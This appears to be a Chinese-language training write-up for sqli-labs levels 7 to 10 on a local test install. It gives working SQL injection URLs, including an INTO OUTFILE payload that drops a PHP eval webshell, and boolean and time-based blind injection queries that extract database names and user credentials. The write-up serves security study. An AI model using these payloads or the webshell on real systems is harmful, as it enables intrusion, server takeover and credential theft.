sql注入——day02
2sqli_labs 7
1.直接用?id='判斷是否有注入點,如果返回數據庫錯誤則可以注入。
2.同樣用之前的方法不斷測試發現id被((''))包裹
3. http://127.0.0.1/sqli/Less-7/?id=1')) order by 3--+ 查看有多少列
4. http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST[“crow”]);?>' into outfile "C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php" --+ 將一句話木馬寫入其中
5. 使用中國菜刀訪問即可!
sqli_labs 8
第一種仍然使用老方法布爾盲注
1. http://127.0.0.1/sqli/Less-8/?id=1’ 判斷此時存在注入漏洞
2. ?http://127.0.0.1/sqli/Less-8/?id=1‘ order by 3--+ ? 當3改為4的時候,you are in….消失,說明存在三列。
3. http://127.0.0.1/sqli/Less-8/?id=1' and left((select database()),1)=0x73 --+猜出來當前第一位是s
或者是使用: http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select database()),1,1)) > 16--+ 此時是有回顯的。
4. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+ 先通過大于號或者小于號來判斷數據庫的第一個字母是哪一個,
也可以使用http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此時可以驗證數據庫中第五個數據庫的第一個字母是s
5. http://127.0.0.1/sqli/Less-8/?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+ 判斷security數據庫中的第4個表中的數據的第一位是否大于11,?
也可以使用 http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+?
驗證數據庫中第4個表中的數據的第一位的第一個字母的ascii碼是否是117,也就是 u
6. http://127.0.0.1/sqli/Less-8/?id=1‘ and ?ascii(substr((select column_name from information_schema.columns where table_name = 0x7573657273 limit 1,1),1,1)) >10 --+?
同理,進行判斷表中的字段,然后進行判斷。可以得到username,password;
7. http://127.0.0.1/sqli/Less-8/?id=1‘ ?and ascii(substr((select username from security.users limit 0,1),1,1)) >10 --+?
同理,進行判斷,最后再使用password進行判斷。
8. 因為猜解速度較慢,可以配合burpsuite或者是sqlmap的腳本來使用。
第二種使用時間盲注
通過if結合sleep()函數,通過反應時間來快速判斷
1. http://127.0.0.1/sqli/Less-8/?id=1‘ and sleep(5)--+ 使用延遲的方法判斷是否存在注入漏洞。當然判斷是否存在注入漏洞的方法很多。
2. ?http://127.0.0.1/sqli/Less-8/?id=1‘ and if(length(database()) = 8,1,sleep(5))--+ 當為8的時候很快加載,而為其他值得時候加載較慢(5s左右),那就說明此時數據庫的長度就是8(security)
3. http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+如果當前數據庫的第一個字母的ascii值大于113的時候,會立刻返回結果,否則執行5s。
4. http://127.0.0.1/sqli/Less-8/?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+ 同理判斷數據庫中的第5個數據庫的第一位的ascii的值是不是大于112(實際中是115),如果是的則速度返回,否則延時5s返回結果。
5. 其余步驟與法一基本類似,可以采用burpsuite或者是sql盲注腳本使用。
sqli_labs 9
第九關與第八關類似,因為只回顯you are in所以只能用時間盲注來判斷。
1. http://127.0.0.1/sqli/Less-9/?id=1‘ ?order by 3999--+ 當使用order by的時候,此時無論如何都是回顯you are in….所以無法使用order by進行判斷。
2. http://127.0.0.1/sqli/Less-9/?id=1‘ and sleep(5)--+ 當存在注入漏洞時,可以使用延遲注入進行判斷,此時若存在漏洞,則睡眠5s之后再返回結果。
3. http://127.0.0.1/sqli/Less-9/?id=1‘ and if(length(database())=8,1,sleep(5)); 通過返回時間進行判斷,此時如果數據庫長度為8,則可以較快返回。
4. http://127.0.0.1/sqli/Less-9/?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>1112,1,sleep(5))--+ 使用less-8中同樣的方法進行判斷即可!
5. 因為盲注屬于猜解,推薦使用腳本進行操作。
sqli_labs 10
第十關與第九關一樣,只是id值被""包裹
總結
以上是生活随笔為你收集整理的sql注入——day02的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: xss-day02
- 下一篇: sql注入——day01